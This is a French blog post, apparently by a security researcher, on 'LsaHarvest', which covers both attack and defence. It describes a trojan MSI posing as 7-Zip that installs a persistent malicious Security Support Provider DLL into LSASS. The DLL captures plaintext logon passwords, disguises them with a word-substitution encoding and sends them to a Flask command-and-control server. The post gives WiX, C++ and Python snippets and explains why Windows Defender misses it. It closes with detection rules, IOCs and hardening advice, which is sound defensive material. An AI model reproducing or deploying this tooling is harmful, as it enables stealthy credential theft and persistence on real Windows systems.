Introduction
LsaHarvest est la suite operationnelle de mon projet Evill-SSP. Si ce premier projet explorait ce que peut faire un Security Support Provider malveillant (intercepter les credentials LSASS a chaque authentification), celui-ci repond a la question suivante : comment on le deploie reellement sur une cible sans declencher Windows Defender.
La reponse : on ne bypass rien. On laisse Windows faire l’elevation a notre place.
La technique repose sur un installeur MSI trojan deguise en application legitime. L’utilisateur execute le MSI, Windows affiche la demande UAC, l’utilisateur clique sur oui, et a partir de la l’installeur dispose de tous les droits necessaires : ecrire dans System32, modifier la cle de registre LSA, et survivre a chaque redemarrage. Defender ne reagit pas parce que chaque element pris separement, la structure MSI, le binaire leurre, la DLL, semble parfaitement legitime.
Ce projet est strictement a but educatif. Usage legal uniquement : lab interne, pentest autorise, CTF.
Architecture
Le projet se compose de trois elements independants qui fonctionnent ensemble.
La DLL SSP (dll/evildll.cpp) implemente l’interface SSPI. Une fois chargee par LSASS, elle intercepte les credentials a chaque authentification et les transmet au C2 en HTTP.
L’installeur MSI (installer/) est un package WiX v4 qui gere le deploiement. Il ecrit la DLL dans System32, modifie la cle de registre LSA, et execute un binaire leurre pour donner a l’utilisateur un retour visuel qu’une installation legitime vient de se terminer.
Le serveur C2 (server/srv-creds.py) est une application Flask legere qui recoit les credentials encodes, les decode, et les persiste dans des fichiers de log rotatifs et un fichier JSONL.
Le Trick MSI
L’UAC comme levier
Un deploiement SSP impose deux contraintes : ecrire une DLL dans System32 et modifier HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Les deux necessitent des droits administrateur. Sur un poste standard, ca passe par l’UAC.
Plutot que de le contourner, LsaHarvest utilise l’UAC directement. Les fichiers MSI declenchent une demande d’elevation par conception quand ils requerent des operations privilegiees. Windows affiche la boite de dialogue UAC standard, l’utilisateur l’approuve parce qu’il pense installer une application connue, et a partir de la msiexec.exe s’execute avec les droits administrateur complets.
Le package se declare comme 7-Zip avec une version et un editeur vraisemblables :
<Package Name="7-Zip"
Manufacturer="Copyright (c) 1999-2024 Igor Pavlov"
Version="24.08"
UpgradeCode="cfbae935-467a-4cd6-a807-a6a4519a8762">
C’est cette chaine qui apparait dans la boite de dialogue UAC et dans Programmes et fonctionnalites. Le 7z.exe inclus est un binaire legitime, ce qui renforce encore la plausibilite.
Ce que fait l’installeur
Le projet WiX definit trois groupes de composants qui s’executent dans une seule sequence d’installation.
ExampleComponents depose deux fichiers dans le repertoire d’installation : le leurre 7z.exe et evildll.dll.
SystemComponents copie evildll.dll dans System64Folder, la constante WiX qui se resout en C:\Windows\System32 sur les systemes x64. L’attribut critique ici est Permanent="yes" :
<Component Id="SystemEvilDllComponent" Guid="*" Permanent="yes">
<File Id="SystemEvilDLL" Source="$(var.ProjectDir)evildll.dll" KeyPath="yes" />
</Component>
Permanent="yes" indique au moteur Windows Installer de ne jamais supprimer ce fichier, meme lors d’une desinstallation. La DLL survit integralement a la desinstallation de l’application leurre.
RegistryComponents ecrit la valeur modifiee de Security Packages :
<RegistryValue Root="HKLM"
Key="SYSTEM\CurrentControlSet\Control\Lsa"
Name="Security Packages"
Type="multiString"
Value="kerberos[~]msv1_0[~]schannel[~]wdigest[~]tspkg[~]pku2u[~]evildll"
KeyPath="yes" />
Cela ajoute evildll a la liste des providers existants. LSASS lit cette cle au demarrage et charge chaque DLL listee par nom. Apres le prochain redemarrage, la collecte de credentials commence automatiquement.
L’execution du leurre
Une action personnalisee execute 7z.exe apres l’installation des fichiers :
<CustomAction Id="RunDecoy"
FileRef="FirefoxInstallerExe"
ExeCommand=""
Return="asyncWait"
Execute="deferred"
Impersonate="no" />
La combinaison Execute="deferred" et Impersonate="no" signifie que cette action s’execute dans la transaction MSI elevee en tant que SYSTEM, et non en tant qu’utilisateur appelant. L’utilisateur voit brievement une fenetre 7-Zip s’ouvrir, ce qui renforce l’illusion d’une installation legitime qui se termine.
La DLL SSP
La DLL implemente la surface SSPI minimale pour que LSASS l’accepte comme provider valide.
SpLsaModeInitialize est le point d’entree. LSASS l’appelle au chargement. La fonction enregistre la table de fonctions du package et declare la compatibilite avec la version LSASS courante.
SpGetInfo retourne les metadonnees du package : nom (LsaHarvest), commentaire, et flags de capacites. Les flags SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION sont le minimum necessaire pour que LSASS route les authentifications vers le package.
SpAcceptCredentials est le coeur du dispositif. LSASS appelle cette fonction apres chaque authentification reussie, en passant le type de logon, le nom du compte, et une structure SECPKG_PRIMARY_CRED qui contient le nom de domaine et le mot de passe en clair :
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType,
PUNICODE_STRING AccountName,
PSECPKG_PRIMARY_CRED PrimaryCredentials,
PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
std::string account = wstring_to_utf8(AccountName->Buffer);
std::string domain = wstring_to_utf8(PrimaryCredentials->DomainName.Buffer);
std::string password = wstring_to_utf8(PrimaryCredentials->Password.Buffer);
// encodage et exfiltration...
}
La DLL n’a aucune dependance aux structures internes ou non documentees de LSASS. SECPKG_PRIMARY_CRED est un type documente du SDK. C’est de la programmation SSPI standard, ce qui contribue en partie a l’absence de detection par Defender.
L’encodage par liste de mots
Envoyer password=MonSuperPass! dans un POST HTTP brut serait immediatement visible par n’importe quel moniteur reseau ou DLP. LsaHarvest utilise un encodage par substitution pour obfusquer le payload au niveau transport.
La DLL definit une table de 95 mots de quatre lettres, un par caractere ASCII imprimable de 0x20 (espace) a 0x7E (~) :
static const char* WORDLIST[95] = {
"able", "acid", "aged", "also", "area", "army", "away", "baby",
"back", "ball", "band", "bank", "base", "bath", "bear", "beat",
// ...
"drop", "drum", "dual", "dull", "dumb", "dusk", "dust"
};
Chaque caractere du payload brut (domain=X&login=Y&password=Z) est remplace par le mot correspondant, joints par des tirets. Le resultat est envoye comme champ de formulaire unique nomme token :
POST /api/v1/login
Content-Type: application/x-www-form-urlencoded
token=data-code-bond-acid-clip-coal-...
Pour une signature IDS qui cherche password= ou des patterns base64, ca ressemble a des donnees de formulaire arbitraires. L’encodage sacrifie l’efficacite en taille au profit de l’inconspicuite : un mot de passe de 20 caracteres devient environ 100 caracteres de mots. C’est une overhead acceptable dans un contexte in-LSASS ou le volume de credentials est faible.
Le serveur C2 dispose de la liste de mots en miroir et inverse le mapping a la reception :
_DECODE = {word: chr(i + 0x20) for i, word in enumerate(_WORDLIST)}
def decode_payload(token: str) -> str:
return "".join(_DECODE.get(w, "?") for w in token.split("-") if w)
Un mot inconnu se mappe sur ?, ce qui donne une degradation gracieuse si un token arrive partiellement corrompu.
Le Serveur C2
Le serveur Flask expose trois endpoints.
POST /api/v1/login recoit le token encode, le decode mot par mot, parse la chaine domain=&login=&password= en paires cle-valeur, et persiste le credential. La sortie va a la fois sur la console avec des couleurs ANSI et dans deux fichiers : un log texte rotatif (creds.log, plafond a 5 Mo, 3 sauvegardes) et un fichier JSONL (creds.jsonl) avec un objet JSON par logon capture, incluant le timestamp et l’IP source.
GET /health retourne un compteur de credentials captures, utile pour un statut rapide pendant une operation sans exposer le contenu.
GET /dump retourne l’integralite du JSONL sous forme de tableau JSON formate, pour un export en masse en fin d’engagement.
Couverture MITRE ATT&CK
T1547.005 - Boot or Logon Autostart Execution: Security Support Provider couvre l’enregistrement LSA et la collecte persistante de credentials apres redemarrage. Meme technique qu’Evill-SSP.
T1218.007 - System Binary Proxy Execution: Msiexec couvre le vecteur de livraison. Le MSI s’execute via msiexec.exe, un binaire systeme Windows signe, ce qui donne une couche de legitimite a l’arbre de processus et complique l’attribution de l’execution initiale.
T1036 - Masquerading couvre l’usurpation de 7-Zip : metadonnees du package, binaire leurre, et boite de dialogue UAC referencent tous une application legitime connue.
Pourquoi Defender ne Reagit Pas
Les moteurs statique et comportemental de Windows Defender alertent sur des signatures et des sequences comportementales suspectes. LsaHarvest evite les deux.
Statiquement, la DLL n’a pas de shellcode, pas de table d’imports suspecte, et aucune chaine embarquee qui corresponde a des patterns de malware connus. Elle importe Secur32.lib et winhttp.lib, deux bibliotheques standard du SDK Windows.
Comportementalement, le MSI est un conteneur standard execute par msiexec.exe. L’ecriture de registre dans HKLM\...\Lsa\Security Packages se produit dans une transaction MSI elevee, un pattern que Defender ne traite pas comme inheremment malveillant en isolation. La DLL ecrite dans System32 n’a aucune caracteristique anormale au moment de l’installation parce que LSASS ne l’a pas encore chargee, et le comportement malveillant ne commence qu’apres un redemarrage.
Au moment ou LSASS charge la DLL et qu’elle commence a etablir des connexions reseau, le MSI a disparu depuis longtemps du contexte d’execution. Il n’y a pas de chaine causale evidente a corroler pour Defender.
Pourquoi un EDR Va le Detecter
Un EDR moderne ne voit pas les evenements en isolation. Il construit une chronologie et correle des sequences.
La modification de la cle de registre LSA est un signal a haute confiance en elle-meme. Des produits comme Microsoft Defender for Endpoint, CrowdStrike Falcon, ou SentinelOne disposent de regles de detection explicites sur les ecritures de Security Packages parce que la liste des providers legitimes est stable. Tout nouvel ajout devrait generer au minimum une alerte de severite moyenne.
Apres redemarrage, le chargement de la DLL dans LSASS est le deuxieme signal : une DLL non signee, absente de toute baseline connue, chargee dans un processus qui manipule les secrets d’authentification. Si RunAsPPL est active, LSASS refuse de la charger et l’attaque s’arrete ici.
La connexion reseau depuis lsass.exe vers une IP externe est le troisieme signal, et le plus fort. LSASS n’a aucune raison legitime d’initier des connexions HTTP sortantes. Ce pattern seul est un IOC critique dans pratiquement tous les produits EDR du marche.
Detection et Defense
Ce qu’il Faut Monitorer
Registre : alerter sur toute ecriture dans HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages ou OSConfig\Security Packages. Ces cles sont modifiees extremement rarement en operation normale. Tout changement en dehors d’une fenetre de patch connue est suspect par defaut.
Processus : utiliser Sysmon Event ID 7 (ImageLoad) filtre sur lsass.exe. Toute DLL chargee en dehors de l’ensemble attendu justifie une investigation. Une DLL non signee est une escalade immediate.
Reseau : LSASS qui initie des connexions sortantes est une anomalie sans ambiguite. Tout trafic HTTP ou HTTPS emis par lsass.exe doit declencher une alerte critique quelle que soit la destination.
Comportement installeur : un MSI qui ecrit dans System32 et modifie simultanement une cle de registre LSA, notamment avec des composants Permanent="yes", est un pattern qui merite une regle de detection dediee. La combinaison est rare dans les logiciels legitimes.
IOC
- Cle
Security Packagesmodifiee en dehors des cycles de patch, nom de DLL inconnu dans la valeur evildll.dllou tout fichier au nom similaire dansC:\Windows\System32- DLL non signee dans la liste des modules LSASS
- POST HTTP depuis
lsass.exeavec un corpstoken=mot-mot-mot - User-Agent
LsaHarvest/1.0dans une capture reseau
Durcissement
RunAsPPL est le controle le plus efficace. Configurer LSASS comme processus protege (PPL) bloque le chargement de toute DLL non signee. Avec RunAsPPL actif, la DLL se retrouve dans le registre mais LSASS refuse de l’executer au demarrage. L’attaque echoue silencieusement et le flux de credentials n’est jamais touche.
WDAC ou AppLocker peuvent restreindre les DLL autorisees a se charger a l’echelle du systeme. Une politique qui bloque les DLL non signees ou non-Microsoft dans System32 coupe cette attaque quelle que soit la facon dont le fichier arrive sur le disque.
L’audit LSA (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\AuditLevel a 8) pousse LSASS a journaliser chaque package de securite charge, ce qui donne une piste d’audit native sans outillage tiers.
Filtrage d’egress reseau : bloquer les connexions sortantes du processus LSASS au niveau du pare-feu hote elimine le canal d’exfiltration. L’interception des credentials se produit toujours mais l’attaquant ne peut rien en recuperer.
Conclusion
LsaHarvest montre que deployer un SSP n’exige pas d’exploiter quoi que ce soit. Un MSI standard, un binaire leurre legitime, et un utilisateur qui clique oui a une demande UAC suffisent a faire entrer une DLL non signee dans LSASS et a l’y maintenir a chaque redemarrage jusqu’a la reinstallation de la machine.
La technique passe Defender parce que chaque composant semble legitime pris individuellement. Elle echoue face a un EDR correctement configure parce que l’ecriture de la cle de registre LSA est un signal inequivoque qu’aucun installeur legitime ne devrait produire en dehors de circonstances tres specifiques.
La cle de registre est le point de controle. Monitorer les ecritures de Security Packages avec une politique de tolerance zero est le controle a valeur la plus elevee pour cette classe d’attaque.
Ressources
- GitHub - Kuorashi/LsaHarverst (code a but educatif uniquement)
- GitHub - Kuorashi/Evill-SSP (projet predecesseur)
- MITRE ATT&CK - T1547.005
- MITRE ATT&CK - T1218.007
- WiX Toolset Documentation
- SSPI Architecture - Microsoft Docs
- Sysmon Configuration - SwiftOnSecurity